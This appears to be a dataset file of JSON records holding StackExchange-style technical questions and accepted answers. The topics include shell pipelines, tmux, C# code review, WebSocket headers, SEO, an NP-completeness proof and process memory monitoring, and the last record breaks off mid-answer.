{  "id": "_hardwarecs.1298"  , "question": "I am looking for some sturdy (they will be travelling quite a lot) noise cancelling or, at this price, more likely noise isolating in-ear earphones. I will mostly be listening to classical music and voices, so bass is not as important to me as it may be to others.My research so far has brought me across the Sennheiser CX 175 however; I have read a somewhat worrying number of reviews that mention less than perfect build quality.I am wanting to spend somewhere less than 50 ($75) and I would rather spend less for best quality per money than max out my budget."  , "title": "Sturdy noise cancelling/isolating earbuds"  , "tags": "audio;headphones;earphones"  } 
{  "id": "_unix.359070"  , "question": "> cat b.txt function first    {    sleep 1    echo $(echo $$)    }function second    {    openssl enc -aes-256-cbc -k $(first)    }echo nyi | second | second | second> > time sh -x b.txt + echo nyi+ second+ second+ second++ first++ sleep 1++ first++ sleep 1++ first++ sleep 1+++ echo 32383+++ echo 32383++ echo 32383++ echo 32383+ openssl enc -aes-256-cbc -k 32383+++ echo 32383+ openssl enc -aes-256-cbc -k 32383++ echo 32383+ openssl enc -aes-256-cbc -k 323832;<VpHFqAHOSdd4X#}real    0m1.026suser    0m0.016ssys 0m0.025s> Question: why doesn this script runs for at least 3 seconds? There is a sleep 1 in the first function and it should be called 3 times in the second function. According to the real    0m1.026s it seems that the sleep is only executed once. Or if it is parallel (??) then how can I make it linear? "  , "title": "Function in function will not be called multiple times if requested?"  , "tags": "shell;pipe;function"  , "accepted_answer": "The parts of a pipeline are started (close to) simultaneously.All three invocations of second will start at the same time. The three subshells that this gives rise to will invoke first to expand $(first) and the three sleep 1 calls will happen concurrently (you can see in the trace output that they do happen).It's only the I/O that serializes a pipeline, i.e. one process in the pipeline waiting for input from the previous, or waiting to have its output read by the next.To have the bits of the pipeline start, run and exit in sequence:echo nyi | second >out1second <out1 >out2second <out2That is, run them separatedly and store the intermediate results in files."  } 
{  "id": "_vi.6237"  , "question": "When I type o,  it will insert a new line, and it is exactly new line without any indentation. The cursor will go to the beginning.   How can I insert a new line with the indentation of the line above?"  , "title": "How can I insert a new line with the indentation of the line above?"  , "tags": "indentation"  } 
{  "id": "_webmaster.107342"  , "question": "Adsense now supports the creation of a Responsive Link unit (in addition to the normal Responsive units that were available long time ago).However, if you create a Responsive Link unit and place the code in your website, it shows very limited sizes such as 728x15, 468x15 etc which are very bad sizes in terms of CTR.The following article shows how to modify the responsive ad code according to your needs:https://support.google.com/adsense/answer/6307124?hl=enDoes anyone know if the above article applies also to Responsive Link units? What I want to do is to create a Responsive Link unit and modify the code (according to the article above) in order to show 300x250 Link Unit sizes which are not available normally when creating a Link ad. This Link Unit size of 300x250 has much higher CTR than the normal link ad sizes.Can I do the above with a responsive link ad or its against the Adsense TOS? I have contacted the Adsense forum but nobody has answered my question.I have tried the following code modification on my website and works fine (it displays a nice 300x250 unit consisting of 6 links):<style type=text/css>.link_unit_slot { width: 300px; height: 250px; }</style> <script async src=//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js></script><!-- ResponsiveLinks --><ins class=adsbygoogle link_unit_slot style=display:block data-ad-client=ca-pub-xxxxxxx data-ad-slot=xxxxxxxx data-ad-format=link></ins><script>(adsbygoogle = window.adsbygoogle || []).push({});</script>Do you think the above is against Adsense TOS? I would appreciate any feedback."  , "title": "Can I modify the code for an Adsense responsive link unit within the AdSense policies?"  , "tags": "google;google adsense;google adsense policies"  } 
{  "id": "_unix.362702"  , "question": "The following code used to work in my .tmux.conf:# Mac OS X:bind-key -n -t emacs-copy M-w copy-pipe reattach-to-user-namespace pbcopy# Move tmux copy buffer into x clipboardunbind-key M-wbind-key -n M-w run tmux save-buffer - | xclip -i -selection clipboard \\; display-message 'Copying to clipboard'It stopped working just recently, so I can't copy text anymore from tmux to elsewhere.  I am guessing this is the result of upgrading tmux or reattach-to-user-namespace.I now get the following error:invalid or unknown command: bind-key -n -t emacs-copy M-w copy-pipe reattach-to-user-namespace pbcopyHere are the versions I am using (from brew)./usr/local/Cellar/tmux/2.4/bin/tmux/user/local/bin/reattach-to-user-namespace/2.5What may have changed, and how can I go about restoring my ability to copy from tmux to the system?"  , "title": "Unable to copy from tmux (2.4+) to the OS X clipboard"  , "tags": "osx;tmux"  } 
{  "id": "_unix.62901"  , "question": "I need an idiots guide to installing Xen Hypervisor on CentOS 5.9We attempted to install it on 6.3 before, but completely failed, so we reverted to 5.9 to see if we had more luck. We had issues trying to find the right kernel download etc and RPM's weren't working correctly, and it was just a mess in general. So I was wondering if anybody knew of a great step by step guide to installing Xen Hypervisor on CentOS 5.9 for idiots, that is still 100% working?"  , "title": "Guide to installing Xen on CentOS 5.9 (That is still valid)"  , "tags": "centos;virtual machine;xen"  } 
{  "id": "_softwareengineering.306001"  , "question": "I'm wondering what the exact definition of the header-field Sec-Websocket-Key is. The field is used for Websocket connections. The client asks the server to upgrade from HTML to Websocket. The request can look like this:GET /chat HTTP/1.1Host: server.example.comUpgrade: websocketConnection: UpgradeSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==Origin: http://example.comSec-WebSocket-Protocol: chat, superchatSec-WebSocket-Version: 13The Sec-WebSocket-Key field is defined as follows [RFC6455]:The |Sec-WebSocket-Key| header field is used in the WebSocket opening   handshake.  It is sent from the client to the server to provide part  of the information used by the server to prove that it received a  valid WebSocket opening handshake.  This helps ensure that the server   does not accept connections from non-WebSocket clients (e.g., HTTP  clients) that are being abused to send data to unsuspecting WebSocket   servers.The |Sec-WebSocket-Key| header field MUST NOT appear more than once  in an HTTP request.And also in [RFC6455]:For this header field, the server has to take the value (as present  in the header field, e.g., the base64-encoded [RFC4648] version minus   any leading and trailing whitespace) and concatenate this with the  Globally Unique Identifier (GUID, [RFC4122]) 258EAFA5-E914-47DA-  95CA-C5AB0DC85B11 in string form, which is unlikely to be used by  network endpoints that do not understand the WebSocket Protocol.  A  SHA-1 hash (160 bits) [FIPS.180-3], base64-encoded (see Section 4 of  [RFC4648]), of this concatenation is then returned in the server's  handshake. Concretely, if as in the example above, the  |Sec-WebSocket-Key|    header field had the value  dGhlIHNhbXBsZSBub25jZQ==, the server    would concatenate the string  258EAFA5-E914-47DA-95CA-C5AB0DC85B11    to form the string  dGhlIHNhbXBsZSBub25jZQ==258EAFA5-E914-47DA-95CA-    C5AB0DC85B11.   The server would then take the SHA-1 hash of this,    giving the value  0xb3 0x7a 0x4f 0x2c 0xc0 0x62 0x4f 0x16 0x90 0xf6    0x46 0x06 0xcf  0x38 0x59 0x45 0xb2 0xbe 0xc4 0xea.  This value is    then  base64-encoded (see Section 4 of [RFC4648]), to give the value  s3pPLMBiTxaQ9kYGzzhZRbK+xOo=.  This value would then be echoed in  the |Sec-WebSocket-Accept| header field.I've completly understood the purpose of this field. However, I can not find any information on how exactly it is generated. Probably it is not just a random string with random length and a random charset. "  , "title": "Exact definition of Sec-Websocket-Key in Websocket Protocol"  , "tags": "websockets;protocol"  } 
{  "id": "_codereview.134518"  , "question": "I have this simple cache mechanism for a repeated task in service. It uses static variable to store the information. Please suggest on how is it and if it could be better.Premise: I need to verify transaction from stores. There can be lots of transactions happening repeatedly from multiple stores. Thus, this simple cache manager for getting the store information. I want it to be simple yet effective and fast.StoreCacheManager.cspublic class StoreCacheManager{    private static List<StoreCacheInformation> _merchantStores = new List<StoreCacheInformation>();    private DBEntities _db;    private TimeSpan _cacheTime = new TimeSpan(1, 0, 0);//1 Hour    public TimeSpan CacheTimeSpan { get { return _cacheTime; } }    public StoreCacheManager(DBEntities db)    {        _db = db;    }    public async Task<StoreCacheInformation> Get(int storeId)    {        if (_merchantStores.Any())        {            var store =                _merchantStores.FirstOrDefault(i => i.StoreID == storeId);            if (store != null)            {                // Check if Cache time has expired                if (store.CacheDateTimeUtc.Add(_cacheTime) < DateTime.UtcNow)                {                    lock (_merchantStores)                    {                        _merchantStores.Remove(store);                    }                }                else                {                    return store;                }            }        }        return await GetAndCache(storeId);    }    private async Task<StoreCacheInformation> GetAndCache(int storeId)    {        var store = await GetStoreInfo(storeId);        if (store != null)        {            lock (_merchantStores)            {                _merchantStores.Add(store);            }        }        return store;    }    private async Task<StoreCacheInformation> GetStoreInfo(int storeId)    {        var storeInfo = await _db.Stores.Where(i => i.StoreID == storeId).Select(i => new StoreCacheInformation()        {            CountryCode = i.CountryObj.CountryCode,            MerchantID = i.VendorOrgID ?? 0,            TelephoneCode = i.CountryObj.TelephoneCountryCode,            StoreID = storeId,            //todo: deviceId and Token        }).FirstOrDefaultAsync();        if (storeInfo != null)        {            storeInfo.CacheDateTimeUtc = DateTime.UtcNow;        }        return storeInfo;    }}StoreCacheInformation.cspublic class StoreCacheInformation{    public int MerchantID { get; set; }    public int StoreID { get; set; }    public string TelephoneCode { get; set; }    public string CountryCode { get; set; }    public DateTime CacheDateTimeUtc { get; set; }    public string DeviceId { get; set; }    public string AuthToken { get; set; }}"  , "title": "Simple Cache Mechanism"  , "tags": "c#"  , "accepted_answer": "ConcurrencyIf you want to implement it thread-safe, you have also lock the whole transaction. For instance: store != null assumes that there is no item in cache. Imagine that after that check another thread added one. That would result in a cache where the same item is cached twice.Conside to use a thread-safe collection (e.g. ConcurrentDictionary) instead of using locking..Net Framework already provides a thread-safe cache: MemoryCache.I am not very familiar with the entity framework, but as far as I know is the DbContext not thread-safe. Therefore it is not a good idea to use a single instance of it in multithreaded environments.Code Style_merchantStores, _db and _cacheTime should be read-only.Methods that return a Task should be called xxxAsyncThe property setter in StoreCacheInformation should be private or at least internal. Otherview external code may modify the state of the cached items.For many cached items, it is better to use a dictionary instead of list."  } 
{  "id": "_softwareengineering.137830"  , "question": "On personal projects (or work), if one gets stuck on a problem, or waiting to figure out a solution to the problem, if you jump to another section of your code, don't you think it will be a good reason your application will be buggy or worse yet never get completed?Assuming you are not using git and code each feature to a specific branch, things can get out of hand since you have 3 different features you are working on, and you have unresolved issues in each.So when you get done to work, you get stressed out because you have these hanging issues and half-baked code lingering about.What's the best way to avoid this problem? (if you have it)I'm guessing using something like git and creating a branch per feature is the safest way to avoid this bad habit.Any other suggestions?"  , "title": "Jumping around to work on different features when you get stuck, is it a source of project failures?"  , "tags": "productivity"  } 
{  "id": "_unix.31939"  , "question": "I am dual booting arch linux on my mac mini 3,1. Am trying to get the WiFi to work and have hit a block. Am a Linux noob so have a couple of questions which I will put in bold. Following these instructions. I have identified my card as BCM4321, which from the tables I read I can use the b43 driver/module (is a driver really just a module?) which is already in the kernel.  I ran lsmod and sure enough can see that b43 is loaded. Checked iwconfig and can see wlan0 IEE 802 ect. If I run ip link set wlan0 up (which i'm guessing turns on the card/wifi?) I'm notified about the need for some firmware. Ok so reading the instructions from the above website I need to get this firmware which I am pretty sure would solve the aforementioned issue, but my main problem is how do I get the firmware without physically connecting the mac to router via ethernet. I have a laptop that I'm currently using with W7 and F16 on and a pendrive which currently has the arch installation media on it, I am hoping i can stick the firmware on a pendrive and load from there if so how?Whilst writing this I have thought that I should just be able to wget the tarballs from here, put those on the pendrive and then try loading transferring them into arch, will still ask this question in case of failure :-)"  , "title": "Help with getting wifi up and running in Arch Linux on Mac Mini 3,1"  , "tags": "arch linux;wifi;firmware;broadcom"  , "accepted_answer": "I should just be able to wget the tarballs from http://linuxwireless.org/en/users/Drivers/b43 put those on the pendrive and then try loading transfering them into archThat is exactly what to do. Unfortunately, Broadcom does not provide distribution licensing for the firmware, so you have to download their full proprietary driver from their website, then extract the firmware from it. This can be done on any system. There are directions on the site you linked about how to do this. At one point, it has you download a different driver version depending on what kernel version you have. Archlinux systems usually have the latest kernel, but if you just installed from an installation medium, it may be older; do uname -a on the Arch system to find out what kernel version you have. Once you have it, place it in the /lib/firmware/ directory of your Arch system.."  } 
{  "id": "_codereview.112318"  , "question": "I need validation for all DTO objects using System.ComponentModel.DataAnnotations. You can see how I implemented. Idea is to have one abstract class that will be inherited  in all dto classes.This abstract class have check if object is valid and get all validation results.Is this good approach?What do you think?dto base class :  public abstract class DtoBase : IValidatableObject    {        public virtual IEnumerable<ValidationResult> GetValidationResult()        {            return Validate(new ValidationContext(this));        }        public bool IsValid()        {            return Validate(new ValidationContext(this)).Count() == 0;        }        public virtual IEnumerable<ValidationResult> Validate(ValidationContext validationContext)        {            var results = new List<ValidationResult>();            Validator.TryValidateObject(this, validationContext, results, true);            return results;        }    }dto work item : public class WorkItemDto : DtoBase    {        public WorkItemDto()        {        }        public int Id { get; set; }        [StringLength(500, MinimumLength = 200)]        public string Description { get; set; }        [Range(20, 5000)]        public int ItemNumValue { get; set; }        public ICollection<ItemUsageDto> Usage { get; set; }    }Example how to use in wpf or in mvc project (it have to work in any client): var item = new WorkItemDto(); item.Description = my descryption; item.ItemNumValue = 5; item.Id = 7; var isValid = item.IsValid(); var allResults = item.GetValidationResult();"  , "title": "Validation for DTO using DataAnnotations"  , "tags": "c#;validation"  } 
{  "id": "_unix.189477"  , "question": "I am running ubuntu 14.04 on thinkpad x201 tablet. I have tested the tablet modus once and the played a bit with the buttons under the screen (so rotated the screen). But now at the starting the netbook the reversed screen has been some how set as the default position for the screen. does any ubuntu user know how to fix this back to the normal position? I appreciate any help"  , "title": "Thinkpad x201 Tablet, rotating Screen"  , "tags": "xorg;monitors;thinkpad"  , "accepted_answer": "RandR may fit your needs. You want to have a look at the --rotate option:xrandr --output LVDS --rotate leftYou can ask for output devices using xrandr -q."  } 
{  "id": "_cstheory.38021"  , "question": "A very simple questions. Let B be the BWT (BurrowsWheeler transform) of a string S. My question is, due to  grouping of consecutive characters in BWT, is it possible to somehow know the number of equal characters that follow given the first character of its kind (or at least some lower bound on the number of such characters). So let say B=...caaaaabaccccccacc... then, is it possible to know that after the first a there will be at least 2 consecutive a's or maybe the exact number of a's that follow?Or alternatively one can pose a complementary question, a flip side of the above question (I write the question in order to better describe the problem):Is there a better way to find breaks in BWT aside from checking each character and comparing it with the previous one. That is, let say I want to locate ab break. I would need to go from left to right and compare second character with the first one and then third with the second and so on until I find out where the pair mismatches. Is there a way to check every second character and come to the same result, because if this is possible then there exist a lower bound on the number of same consecutive characters (which is 2)? "  , "title": "BWT: is it possible to predict the next character in a sequence?"  , "tags": "string matching;string search"  } 
{  "id": "_webmaster.68304"  , "question": "Will changing links to remove query string parameters that are no longer used have any negative impact on search engine rankings?Say I have a page about.php on my site, and all of my links to this page are of the formhttp://www.example.com/about.php?foo=barand I've made some changes to the script such that the parameter foo is no longer used.I would like to remove the unused parameter from the links so the URL will look cleaner, but I am concerned that this could cause problems with SEO.Is it safe to remove ?foo=bar from my links?"  , "title": "Will removing unused query string parameters negatively affect SEO?"  , "tags": "seo;query string"  , "accepted_answer": "On the long term, no, but on the short term there might be some fluctuation.There are two possibilities to mitigate this issue:- In Google Webmaster Tools, in Crawl > URL Parameters, you can tell Google which parameters to ignore.- Set a canonical without the old parameter on url pages still having the old parameter."  } 
{  "id": "_codereview.169229"  , "question": "I have started to read Robert C. Martin Clean Code book.To learn and gain more expreiences I wrote a single Log class. So I want some suggestions to improve this code..This is a part of the Log class:public class FileLogger : ILog{    private string directoryPath = string.Empty;    private string fileName = string.Empty;    public FileLogger(string logDirectoryPath, string logFileName)    {        if (string.IsNullOrEmpty(logDirectoryPath))        {            throw new ArgumentException(nameof(logDirectoryPath), Write some error message...);        }        if (string.IsNullOrEmpty(logFileName))        {            throw new ArgumentException(nameof(logFileName), Write some error message...);        }        this.directoryPath = logDirectoryPath;        this.fileName = logFileName;    }    public void LogMessage(string message)    {        try        {            if (!string.IsNullOrEmpty(message))            {                if (!LogDirectoryExists(directoryPath))                {                    CreateLogDirectory(directoryPath);                }                WriteToLogFile(message);            }        }        catch (Exception ex)        {            //Catch exception, do something...        }    }    private bool LogDirectoryExists(string logDirectoryPath)    {        return Directory.Exists(logDirectoryPath);    }    private void CreateLogDirectory(string logDirectoryPath)    {        Directory.CreateDirectory(logDirectoryPath);    }    private void WriteToLogFile(string message)    {        using (var logFile = new FileStream(Path.Combine(directoryPath,fileName), FileMode.Append, FileAccess.Write))        {            using (var logFileWriter = new StreamWriter(logFile))            {                logFileWriter.Write(message);            }        }    }}I wrote 3 different function to write a message to a log. I try to use SRP and Command Query Separation, but I don't sure this is a good in this way. Maybe there are another problems with this code, example naming or variable declarations."  , "title": "Write a message to a log"  , "tags": "c#;beginner;file;logging"  , "accepted_answer": "After discussion in comments your code became much better.Also if directoryPath and fileName will not be changed after initialization in constructor you can define these fields as readonly:private readonly string directoryPath = string.Empty;private readonly string fileName = string.Empty;This codeusing (var logFile = new FileStream(Path.Combine(directoryPath,fileName), FileMode.Append, FileAccess.Write)){    using (var logFileWriter = new StreamWriter(logFile))    {        logFileWriter.Write(message);    }}can be replaced withFile.AppendAllText(Path.Combine(directoryPath, fileName), message);Also ArgumentException's constructor takes message as first argument and paramName as second, so you need to call it like this:throw new ArgumentException(Write some error message..., nameof(logDirectoryPath));"  } 
{  "id": "_unix.56523"  , "question": "I have set up two monitors in my system. One is powered by the HDMI port and the other one is powered by the normal analogue port of the same GPU (Nvidia Ge-force 210).I just setup twin display in Nvidia settings but can't see cinnamon's panel on the second monitor. How can I fix this?"  , "title": "Adding the panel to the second monitor"  , "tags": "linux mint;dual monitor;cinnamon"  } 
{  "id": "_unix.319574"  , "question": "I have some scripts that work perfectly when I invoke them directly but not when invoked via a keyboard macro.I've tired looking at bash logs and history but I don't think those locations only show information about scripts I directly invoked. How can I find logs and history about my scripts that I'm not invoking directly?"  , "title": "View logs for non-interactive shell script?"  , "tags": "bash;logs;command history"  } 
{  "id": "_scicomp.20832"  , "question": "This might be better somewhere else, but I'll give it a try here first.I'm implementing a finite volume scheme for an axisymmetric problem in C, and am looking for a more efficient way to handle all of the necessary parameters each function needs. Is a pointer to a struct better, more efficient, or easier in implementation than a list of the function parameters? I personally think the struct is easier to handle when writing the code, but my professor, who loves Fortran, probably doesn't agree. Is the use of structs in scientific computing accepted? Tolerated? Something that should be avoided?Thanks for your thoughts."  , "title": "Use of structs in Axisymmetric Finite Volume method"  , "tags": "finite volume;c;programming paradigms"  } 
{  "id": "_webapps.26851"  , "question": "I have registered a domain name and created an email account for that domain using Google Apps. I want to know what will happen to my Google Apps account associated with that domain after its registration expires or if Im not going to use it (the domain I mean)."  , "title": "Do I need to verify my domain name again for Google Apps after it expires?"  , "tags": "gmail;google apps;domain"  , "accepted_answer": "When the domain name expires so will the MX records for that domain. As you have already verified the domain with Google theoritically you will still be able to send email as that domain (since you are using Google servers to send) however you will no longer recieve incoming mail.Its possible that Google might detect the domain is no longer registered and prevent you from sending mail. That being said, Google wont disable or delete your apps account when your domain expires (provided you continue to pay the subscription) - all your data will remain and the account will still function, just without email (eg. you will still be able to use your Google docs)"  } 
{  "id": "_unix.58449"  , "question": "When giving presentations, I use the html/css/js-based showoff. It has a presenter mode which shows the notes and the progress in a good way for me. It seems like the idea is that somehow a second browser gets the changes I do in this mode, but that does not work.Therefore I thought of putting just the part of the presenter mode which displays the current slide (this is a 1024x768 area) on another device, namely the beamer display.As X has such a vast tooling box, I figured this could be possible. The presentation has been given with mirrored displays, which went good enough. What remains is the curiosity if it would have been possible:Can I display part of a window on the second device?I use xmonad as window manager normally. If this is supported by another window manager, I could switch just for presentations.UPDATEI am more interested in the way this could be achieved by X11 means (or related tools) than just having the presenation run fine. That's just the incident that created my interest in such a solution.SECOND UPDATEI am still looking for a pure X11-solution, but the problem at hand is of course solved."  , "title": "Can I display part of a window on the second device?"  , "tags": "ubuntu;xorg;x11"  , "accepted_answer": "I don't know a thing about showoff, but I did use dzslides in a similar way.  Things to check are:Does you window manager support multiple displays? (E.g. after xrandr --output VGA1 --right-of LVDS1, does it handle the other one?) XMonad should,, i3 provides good multihead support, too.Your presenter console should control the other window in normal presentation mode. What happens when you open both modes in separate windows? I.e. when showoff saysYour ShowOff presentation is now starting up.To view it plainly, visit [ #{url} ]To run it from presenter view, go to: [ #{url}/presenter ]try opening both URLs in two windows.If, as I hope it does, the presenter view window controls the plain view one, just move the plain view window to the other monitor (this depends on how your WM handles multiple monitors).  If it doesn't, you could consider filing an issue...This should be easier than X11 hackery."  } 
{  "id": "_unix.109543"  , "question": "I'm running a Hydra on Rasppberry PI. There were some problems with the program, but aside from these, there is a hidden memory leak in the program. The source is pretty big and  really can't find the problem.Unfortunatelly, upon reaching memory limit, the program doesn't crash - instead it returns bunch of error messages. When I say bunch, I mean hundreds. So I thought the if I can't un-allocate the memory within the program, I might need to reset whole process. So I need to:Guard the process resource usageStop the process gracefully (similar to Ctrl+C, the program says received signal 2 then)Start the process againI must do this until  fix the program to die on errors - or not to produce them in the first place.If you know hydra and you're curious about the errors I've found at least something in the code:[ERROR] Fork for children failed: Cannot allocate memory[ERROR] socketpair creation failed: Too many open filesThe second part of the errors comes from perror C system function. It's sort of last error."  , "title": "Reset running process when certain ammount of memory is consumed"  , "tags": "debian;raspberry pi;raspbian;hydra"  , "accepted_answer": "#1 - GodHere's an idea using the process monitoring framework God. This application is written in Ruby but can be used to watch other processes, and guard against them doing things, such as dying or, in your case, use up too much RAM. Ruby setupAssuming you have Ruby installed -- you can use rvm (aka. Ruby Version Manager) to do this if you don't, but it will need to be installed and/or run as root. This is a requirement of god. You could also just install Ruby from your distro's repositories if it's available. God setupWith a working Ruby installation you install the God gem like so:$ [sudo] gem install godExampleYou can then use this simple God config to do what you want.# /path/to/simple.godGod.watch do |w|  w.name = hydra  w.start = <command to run hydra>  w.keepalive(:memory_max => 150.megabytes,              :cpu_max => 50.percent)endThen invoke it like this:$ god -c /path/to/simple.god -DNow if Hydra exceeds either the CPU utilization or the memory used, God will restart it. NOTE:  By default these properties will be checked every 30 seconds and will be acted upon if there is an overage for three out of any five checks.Going furtherTake a look at the documentation on God's website. The above example is from there and they do a much more thorough job of covering the details.#2 - Process Resouce MonitorAnother alternative is Process Resource Monitor. The feature list shows that it can monitor per process resources.per-process/per-user rule based resource limitsexcerpt of descriptionProcess Resource Monitor (PRM) is a CPU, Memory, Processes & Run (Elapsed) Time resource monitor for Linux & BSD. The flexibility of PRM is achieved through global scoped resource limits or rule-based per-process / per-user limits. A great deal of control of PRM is maintained through a number of ignore options, ability to configure soft/hard kill triggers, wait/recheck timings and to send kill signals to parent/children process trees. Additionally, the status output is very verbose by default with support for sending log data through syslog.ExampleTo monitor Hydra we could create a rule file like this, /usr/local/prm/rules//hydra.cmd:IGNORE=MAX_CPU=50MAX_MEM=150MAX_PROC=0# we dont care about the process run time, set value 0 to disable checkMAX_ETIME=0KILL_TRIG=3# we want to set a bit longer soft rechecks as sometimes the problem fixes# itselfKILL_WAIT=20KILL_PARENT=1KILL_SIG=9KILL_RESTART_CMD=/etc/init.d/hydra restartprm runs via cron, /etc/cron.d/prm on 5 minute intervals. According to the docs this should probably be left alone."  } 
{  "id": "_cstheory.38288"  , "question": "Given a 2HornSAT problem, its possible in linear time to find the minimum solution to the problem, i.e., a solution that minimizes the number of variables set to 1.Now let us consider the following restricted variant of that problem:Input: A positive integer $K$ and a 2SAT instance in which all clauses are mixed, i.e., have a positive literal and a negative literal.Output: Is there a satisfying assignment such that exactly $K$ variables are set to 1?Is this problem NP-complete? I am struggling with its reduction but it seems this might be difficult."  , "title": "totally-mixed 2SAT with exact cardinality?"  , "tags": "cc.complexity theory;np hardness"  , "accepted_answer": "Your problem is NP-complete.I prove NP-hardness below by reduction from the clique problem (given a graph and a number, does the graph have a clique of that many vertices).reductionSuppose we are given a clique instance consisting of a graph $G = (V, E)$ with $m = |E|$ and $n = |V|$ and a number $k$. Then we will produce an instance of your problem consisting of a formula $\\phi$ and a number $K$ as described belowFirst of all, we set $K = k + (n+1) \\times {k \\choose 2}$.Next, lets describe the variables used in $\\phi$. For each vertex $v \\in V$, $\\phi$ will include a variable $x_v$. For each edge $e \\in E$, $\\phi$ will include $n+1$ variables: $y_e^0, y_e^1, \\ldots, y_e^n$.Finally, lets describe the clauses included in $\\phi$. Each clauses has the form $(a \\vee \\neg b)$, which is logically equivalent to $(b \\to a)$, so I will write all clauses in implication form. For each edge $e \\in E$, we include clauses $(y_e^n \\to y_e^0)$, $(y_e^0 \\to y_e^1)$, $(y_e^1 \\to y_e^2)$, ..., and $(y_e^{n-1} \\to y_e^n)$. The effect of these clauses is to enforce the equality of all the $y_e^i$s (for any fixed $e$) in any satisfying assignment. Next, for any edge $(u, v) \\in E$, we also include clauses $(y_{(u,v)}^0 \\to x_u)$ and $(y_{(u,v)}^0 \\to x_v)$. The effect of these clauses is that in any satisfying assignment, if the variables $y_{(u,v)}^i$ associated with an edge are true then the variables $x_u$ and $x_v$ associated with the endpoints must also be true.clique $\\to$ satisfying assignmentSuppose that there is a clique $C$ of size $k$ in $G$. Then we can create a satisfying assignment for $\\phi$ with exactly $K = k + (n+1) \\times {k \\choose 2}$ true variables.In particular, for $v \\in V$, set $x_v$ to true iff $v \\in C$, and for $e \\in E$, set $y_e^i$ to true iff both endpoints of $e$ are in $C$.There are $n+1$ variables $y_e^i$ for each $e$, and there are exactly $k \\choose 2$ edges in $G$ with both endpoints in $C$ (since $C$ is a clique). Thus there are $(n+1) \\times {k \\choose 2}$ variables of the form $y_e^i$ that are set to true under this assignment. Furthermore, $|C| = k$, so there are exactly $k$ variables of the form $x_v$ set to true under this assignment. As desired, this assignment has exactly $K = k + (n+1) \\times {k \\choose 2}$ true variables.Notice that $y_e^i = y_e^j$ for every edge $e$ and pair of indices $i, j$. Thus, the clauses of the form $(y_e^i \\to y_e^{(i+1)~\\text{mod}~(n+1)})$ are satisfied under this variable assignment. Next, consider any edge $(u, v)$. If $y_{(u, v)}^0$ is true, then both $u$ and $v$ are vertices in $C$, so therefore both $x_u$ and $x_v$ are also true. Thus, clauses $(y_{(u,v)}^0 \\to x_u)$ and $(y_{(u,v)}^0 \\to x_v)$ are also satisfied.Since all clauses are satisfied, this is a satisfying assignment (which we already noted has exactly $K$ true variables).satisfying assignment $\\to$ cliqueNext suppose we have a satisfying assignment of $\\phi$ with exactly $K = k+ (n+1) \\times {k \\choose 2}$ true variables.Any satisfying assignment has $y_e^0 = y_e^1 = \\cdots = y_e^n$. Then let $y_e = y_e^0$. Define $n_y$ to be the number of true $y_e$s. Similarly, define $n_x$ to be the number of true $x_v$s. Notice that the number of true variables in the assignment is equal to $n_x + (n+1) \\times n_y$. Furthermore, $0 \\le n_x < n+1$ since there are only $n$ different $x_v$s. Thus, we can conclude that $n_x = K~\\text{mod}~(n+1) = k$ and $n_y = \\lfloor \\frac{K}{n+1} \\rfloor = {k \\choose 2}$.Let $C = \\{v \\in V~|~x_v~\\text{is true}\\}$ and let $E' = \\{e \\in E~|~y_e~\\text{is true}\\}$. Note that $|C| = n_x$ and $|E'| = n_y$ by definition. Then $E'$ is a set of ${k \\choose 2}$ edges, and $C$ is a set of $k$ edges. Notice that if $(u,v) \\in E'$, then $y_{(u,v)}$ is true, and therefore $y_{(u,v)}^0$ is true; as a result, since clauses $(y_{(u,v)}^0 \\to x_u)$ and $(y_{(u,v)}^0 \\to x_v)$ must be satisfied, we can conclude that $x_u$ and $x_v$ are also true, and therefore that $u,v \\in C$. Thus, if $e \\in E'$ and $v$ is an endpoint of $e$ then $v \\in C$. Thus the set of endpoints of edges in $E'$ is a subset of $C$. Then $E'$ is a set of ${k \\choose 2}$ edges whose set of endpoints numbers at most $|C| = k$. A set of ${k \\choose 2}$ edges has only $k$ endpoints in total only in the case that the $k$ endpoints are a clique. In other words, it must be the case that $C$ is a clique and the edges in $E'$ are the edges in the clique.Thus we have identified a clique of size $k$ in $G$."  } 
{  "id": "_cogsci.8682"  , "question": "Is cognitive science apart of psychology? If I major in psychology, will it be easy for me to be a cognitive scientist?"  , "title": "Is cognitive science a concentration of psychology?"  , "tags": "terminology"  } 
{  "id": "_unix.1674"  , "question": "I notice that ncurses's terminfo database on /usr/share/terminfo is about 7MB (I compiled it myself). This is too large if I want to deploy it on an embedded Linux of 64MB disk space.Is there a way to reduce its size by deleting unneeded entries and keep the most-used ones? And what's is this actually for?EDIT: Is there any info or reference for commonly used terminfo for regular PCs or SSH clients?"  , "title": "How to reduce ncurses terminfo size"  , "tags": "embedded;ncurses;strip"  , "accepted_answer": "With ansi, cygwin, linux, vt100, vt220, and xterm terminfo definitions, I expect you'd be able to hit 98% of the terminal emulations that you'll encounter in the wild. Even terminal emulators that have a different native mode can likely be directed to emulate vt100/vt220 modes, often without user intervention."  } 
{  "id": "_softwareengineering.326247"  , "question": "I have a need to implement REST API which would support a complex filtering, so user would be able to make such requests:Products?$filter=Price le 3.5 or Price gt 200The API server will use a layered architecture and it will have a layer, which will abstract database access. And here is the problem - on one hand I need to implement flexible filtering and on the other - abstract database access.I wonder - are there proven solutions for that?"  , "title": "How to abstract DB access and yet support flexible filtering?"  , "tags": "design;design patterns;architecture;rest;layers"  } 
{  "id": "_unix.78914"  , "question": "for i in $(xrandr); do echo  $i ; donefor i in $(xrandr); do echo $i; donefor i in $(xrandr); do echo $i; doneI understand why 1 differs from 2. But why does 3 give a different output from 2? Please explain the output too. How do quotes work on newlines?"  , "title": "Quoted vs unquoted string expansion"  , "tags": "bash;shell;quoting;echo;whitespace"  , "accepted_answer": "An unquoted variable (as in $var) or command substitution (as in $(cmd) or `cmd`) is the split+glob operator in Bourne-like shells.That is, their content is split according to the current value of the $IFS special variable (which by default contains the space, tab and newline characters)And then each word resulting of that splitting is subject to filename generation (also known as globbing or filename expansion), that is, they are considered as patterns and are expanded to the list of files that match that pattern.So in for i in $(xrandr), the $(xrandr), because it's not within quotes, is split on sequences of space, tab and newline characters. And each word resulting of that splitting is checked for matching file names (or left as is if they don't match any file), and for loops over them all.In for i in $(xrandr), we're not using the split+glob operator as the command substitution is quoted, so there's one pass in the loop on one value: the output of xrandr (without the trailing newline characters which command substitution strips).However in echo $i, $i is unquoted again, so again the content of $i is split and subject to filename generation and those are passed as separate arguments to the echo command (and echo outputs its arguments separated by spaces).So lesson learnt:if you 